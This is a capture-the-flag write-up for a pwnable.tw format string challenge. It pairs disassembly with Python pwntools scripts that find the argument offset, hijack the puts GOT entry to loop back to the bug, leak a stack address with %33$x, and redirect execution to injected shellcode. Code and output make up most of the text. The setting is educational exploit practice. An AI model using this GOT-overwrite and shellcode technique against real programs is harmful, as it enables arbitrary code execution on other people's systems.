Do you know format string attack ? nc pwning.pwnable.tw 56026 binary Hint: %n is so powerful
Exploit
fmtsofun
.text:0x80486C7movdwordptr [esp], offset format ; "Enter your format string :" .text:0x80486CEcall _printf .text:0x80486D3leaeax, [esp+1Ch] .text:0x80486D7mov [esp+4], eax .text:0x80486DBmovdwordptr [esp], offset a79s ; "%79s" .text:0x80486E2call ___isoc99_scanf .text:0x80486E7leaeax, [esp+1Ch] .text:0x80486EBmov [esp], eax; format .text:0x80486EEcall _printf .text:0x80486F3movdwordptr [esp], offset aHappyNewYear ; "\nHappy New Year !!" .text:0x80486FAcall _puts
As the program’s message suggests, the main purpose of this program is to let us launch a format string attack. I first use fmtsofun_scout.py to calibrate the argument number and padding of the input buffer.
from pwnlib.tubes.remote import remote from pwnlib.util.packing import p32 from time import sleep from libformatstr import make_pattern, guess_argnum
buf_size = 79
r = remote('127.0.0.1', 4444)
print r.recvuntil(':') r.sendline(make_pattern(buf_size)) result = r.recvall() print result print"argnum:{}, padding:{}".format(*guess_argnum(result, buf_size))
$ python fmtsofun_scout.py Format string attack is so fun Enter your format string : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab10xfff7f3bc0x336141320x702439250x362570240xfff7f4b40xf7727000(nil)0x80484f00xf775f130 Happy New Year !!
argnum:7, padding:0
With these information, we can now successfully perform the format string attack. However, this program only allow us to launch the attack once, which is not enough for us to both leak the address of stack and jump to the shellcode. To deal with this situation, I use GOT hijacking to make puts library call jumps to the address right brfore the bug. (Actually, I jump back to the point which is going to print the message “Enter your format string :” because it is easier to check wether the jump is success) Now we can lanuch the format string attack multiple times.
When I hijack the GOT entry of puts above, I also use %33$x to leak the 33rd argument on the stack, whose value seems to have a fix offset to the address of input buffer (I call it stack debris in my exploit) that allows us to calculate the address of the shellcode. After calculating the shellcode address, I use the same format string attack to hijack GOT entry of puts and jump to the shellcode.
# Change the GOT entry of puts to the address right before the # format string bug and leak some information about stack at # the same time. This allows us to exploit the same bug again # with all information needed. print r.recvuntil(':') fmt = FormatStr() fmt[puts_got] = print_addr r.sendline(fmt.payload(argnum, padding) + '%33$x')
# Calculate the address where the shellcode is going to be placed # from the information leaked by the format string '%33$x' above. result = r.recvuntil(':') print result print'stack debris:', result[-34:-26] shellcode_addr = int(result[-34:-26], 16) - 216 print'shellcode address:', hex(shellcode_addr)
# Change the GOT entry of puts to the address of the shellcode fmt = FormatStr() fmt[puts_got] = shellcode_addr r.sendline(fmt.payload(argnum, padding) + no_whitespace_shellcode)